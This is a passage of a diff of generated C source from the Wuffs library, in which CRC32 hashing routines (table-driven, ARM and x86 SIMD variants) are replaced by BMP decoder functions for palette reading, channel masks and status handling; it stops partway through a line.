-- uint32_t v_s = 0; -- wuffs_base__slice_u8 v_p = {0}; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_bmp__decoder__tell_me_more( -+ wuffs_bmp__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- v_s = (4294967295u ^ self->private_impl.f_state); -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 16; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); -- while (v_p.ptr < i_end0_p) { -- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | -- (((uint32_t)(v_p.ptr[1u])) << 8u) | -- (((uint32_t)(v_p.ptr[2u])) << 16u) | -- (((uint32_t)(v_p.ptr[3u])) << 24u)); -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ -- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ -- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ -- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ -- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ -- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ -- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ -- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ -- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ -- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ -- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ -- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ -- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ -- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ -- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ -- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); -- v_p.ptr += 16; -- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | -- (((uint32_t)(v_p.ptr[1u])) << 8u) | -- (((uint32_t)(v_p.ptr[2u])) << 16u) | -- (((uint32_t)(v_p.ptr[3u])) << 24u)); -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ -- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ -- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ -- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ -- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ -- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ -- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ -- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ -- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ -- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ -- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ -- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ -- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ -- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ -- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ -- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); -- v_p.ptr += 16; -- } -- v_p.len = 16; -- uint8_t* i_end1_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16); -- while (v_p.ptr < i_end1_p) { -- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | -- (((uint32_t)(v_p.ptr[1u])) << 8u) | -- (((uint32_t)(v_p.ptr[2u])) << 16u) | -- (((uint32_t)(v_p.ptr[3u])) << 24u)); -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ -- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ -- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ -- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ -- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ -- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ -- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ -- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ -- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ -- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ -- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ -- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ -- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ -- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ -- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ -- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); -- v_p.ptr += 16; -- } -- v_p.len = 1; -- uint8_t* i_end2_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end2_p) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); -- v_p.ptr += 1; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_bmp__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- v_p.len = 0; -+ -+ ok: -+ self->private_impl.p_tell_me_more = 0; -+ goto exit; - } -- self->private_impl.f_state = (4294967295u ^ v_s); -- return wuffs_base__make_empty_struct(); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; - } - --// -------- func crc32.ieee_hasher.checksum_u32 -+// -------- func bmp.decoder.do_tell_me_more - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_crc32__ieee_hasher__checksum_u32( -- const wuffs_crc32__ieee_hasher* self) { -- if (!self) { -- return 0; -+static wuffs_base__status -+wuffs_bmp__decoder__do_tell_me_more( -+ wuffs_bmp__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ if (self->private_impl.f_io_redirect_fourcc <= 1u) { -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ 1u, -+ self->private_impl.f_io_redirect_fourcc, -+ 0u, -+ self->private_impl.f_io_redirect_pos, -+ 18446744073709551615u); - } -+ self->private_impl.f_io_redirect_fourcc = 1u; - -- return self->private_impl.f_state; -+ goto ok; -+ ok: -+ goto exit; -+ exit: -+ return status; - } - --// ‼ WUFFS MULTI-FILE SECTION +arm_crc32 --// -------- func crc32.ieee_hasher.up_arm_crc32 -+// -------- func bmp.decoder.workbuf_len - --#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up_arm_crc32( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { -- wuffs_base__slice_u8 v_p = {0}; -- uint32_t v_s = 0; -- -- v_s = (4294967295u ^ self->private_impl.f_state); -- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -- v_s = __crc32b(v_s, a_x.ptr[0u]); -- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_bmp__decoder__workbuf_len( -+ const wuffs_bmp__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); - } -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 8; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 128) * 128); -- while (v_p.ptr < i_end0_p) { -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- } -- v_p.len = 8; -- uint8_t* i_end1_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8); -- while (v_p.ptr < i_end1_p) { -- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); -- v_p.ptr += 8; -- } -- v_p.len = 1; -- uint8_t* i_end2_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end2_p) { -- v_s = __crc32b(v_s, v_p.ptr[0u]); -- v_p.ptr += 1; -- } -- v_p.len = 0; -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); - } -- self->private_impl.f_state = (4294967295u ^ v_s); -- return wuffs_base__make_empty_struct(); -+ -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); - } --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) --// ‼ WUFFS MULTI-FILE SECTION -arm_crc32 - --// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 --// -------- func crc32.ieee_hasher.up_x86_avx2 -+// -------- func bmp.decoder.read_palette - --#if defined(WUFFS_BASE__CPU_ARCH__X86_64) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up_x86_avx2( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint32_t v_s = 0; -- wuffs_base__slice_u8 v_p = {0}; -- __m128i v_k = {0}; -- __m128i v_x0 = {0}; -- __m128i v_x1 = {0}; -- __m128i v_x2 = {0}; -- __m128i v_x3 = {0}; -- __m128i v_y0 = {0}; -- __m128i v_y1 = {0}; -- __m128i v_y2 = {0}; -- __m128i v_y3 = {0}; -- uint64_t v_tail_index = 0; -+static wuffs_base__status -+wuffs_bmp__decoder__read_palette( -+ wuffs_bmp__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- v_s = (4294967295u ^ self->private_impl.f_state); -- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ a_x.ptr[0u])] ^ (v_s >> 8u)); -- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -+ uint32_t v_i = 0; -+ uint32_t v_argb = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if (((uint64_t)(a_x.len)) < 64u) { -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end0_p) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); -- v_p.ptr += 1; -+ -+ uint32_t coro_susp_point = self->private_impl.p_read_palette; -+ if (coro_susp_point) { -+ v_i = self->private_data.s_read_palette.v_i; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_bitmap_info_len == 12u) { -+ while ((v_i < 256u) && (self->private_impl.f_padding >= 3u)) { -+ self->private_impl.f_padding -= 3u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -+ t_0 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -+ iop_a_src += 3; -+ } else { -+ self->private_data.s_read_palette.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_read_palette.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 16) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_argb = t_0; -+ } -+ v_argb |= 4278190080u; -+ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -+ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -+ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -+ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -+ v_i += 1u; -+ } -+ } else { -+ while ((v_i < 256u) && (self->private_impl.f_padding >= 4u)) { -+ self->private_impl.f_padding -= 4u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_read_palette.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_read_palette.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_argb = t_1; -+ } -+ v_argb |= 4278190080u; -+ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -+ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -+ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -+ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -+ v_i += 1u; - } -- v_p.len = 0; - } -- self->private_impl.f_state = (4294967295u ^ v_s); -- return wuffs_base__make_empty_struct(); -- } -- v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); -- v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); -- v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); -- v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); -- v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K1K2)); -- { -- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, 64u); -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 64; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64); -- while (v_p.ptr < i_end0_p) { -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_y1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); -- v_y2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(0u)); -- v_y3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(17u)); -- v_x2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(17u)); -- v_x3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(_mm_xor_si128(v_x0, v_y0), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 0u))); -- v_x1 = _mm_xor_si128(_mm_xor_si128(v_x1, v_y1), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u))); -- v_x2 = _mm_xor_si128(_mm_xor_si128(v_x2, v_y2), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 32u))); -- v_x3 = _mm_xor_si128(_mm_xor_si128(v_x3, v_y3), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 48u))); -- v_p.ptr += 64; -+ while (v_i < 256u) { -+ self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; -+ self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; -+ self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; -+ self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; -+ v_i += 1u; - } -- v_p.len = 0; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_read_palette = 0; -+ goto exit; - } -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K3K4)); -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_x0 = _mm_xor_si128(v_x0, v_y0); -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(v_x0, v_x2); -- v_x0 = _mm_xor_si128(v_x0, v_y0); -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); -- v_x0 = _mm_xor_si128(v_x0, v_x3); -- v_x0 = _mm_xor_si128(v_x0, v_y0); -- v_x1 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(16u)); -- v_x2 = _mm_set_epi32((int32_t)(0u), (int32_t)(4294967295u), (int32_t)(0u), (int32_t)(4294967295u)); -- v_x0 = _mm_srli_si128(v_x0, (int32_t)(8u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ)); -- v_x1 = _mm_srli_si128(v_x0, (int32_t)(4u)); -- v_x0 = _mm_and_si128(v_x0, v_x2); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_PXMU)); -- v_x1 = _mm_and_si128(v_x0, v_x2); -- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(16u)); -- v_x1 = _mm_and_si128(v_x1, v_x2); -- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); -- v_x0 = _mm_xor_si128(v_x0, v_x1); -- v_s = ((uint32_t)(_mm_extract_epi32(v_x0, (int32_t)(1u)))); -- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551552u); -- if (v_tail_index < ((uint64_t)(a_x.len))) { -- { -- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end0_p) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); -- v_p.ptr += 1; -- } -- v_p.len = 0; -- } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_read_palette = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_read_palette.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- self->private_impl.f_state = (4294967295u ^ v_s); -- return wuffs_base__make_empty_struct(); -+ -+ return status; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) --// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --// -------- func crc32.ieee_hasher.up_x86_sse42 -+// -------- func bmp.decoder.process_masks - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_crc32__ieee_hasher__up_x86_sse42( -- wuffs_crc32__ieee_hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint32_t v_s = 0; -- wuffs_base__slice_u8 v_p = {0}; -- __m128i v_k = {0}; -- __m128i v_x0 = {0}; -- __m128i v_x1 = {0}; -- __m128i v_x2 = {0}; -- __m128i v_x3 = {0}; -- __m128i v_y0 = {0}; -- __m128i v_y1 = {0}; -- __m128i v_y2 = {0}; -- __m128i v_y3 = {0}; -- uint64_t v_tail_index = 0; -+static wuffs_base__status -+wuffs_bmp__decoder__process_masks( -+ wuffs_bmp__decoder* self) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- v_s = (4294967295u ^ self->private_impl.f_state); -- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ a_x.ptr[0u])] ^ (v_s >> 8u)); -- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); -- } -- if (((uint64_t)(a_x.len)) < 64u) { -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end0_p) { -- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); -- v_p.ptr += 1; -+ uint32_t v_i = 0; -+ uint32_t v_mask = 0; -+ uint32_t v_n = 0; -+ -+ while (v_i < 4u) { -+ v_mask = self->private_impl.f_channel_masks[v_i]; -+ if (v_mask != 0u) { -+ v_n = 0u; -+ while ((v_mask & 1u) == 0u) { -+ v_n += 1u; -+ v_mask >>= 1u; - } -- v_p.len = 0; -- } -- self->private_impl.f_state = (4294967295u ^ v_s); -- return wuffs_base__make_empty_struct(); -- } -- v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); -- v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); -- v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); -- v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); -- v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); -- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K1K2)); -- { -- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, 64u); -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 64; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64); -- while (v_p.ptr < i_end0_p) { -- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); -- v_y1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); -- v_y2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(0u)); -- v_y3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(0u)); -- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, 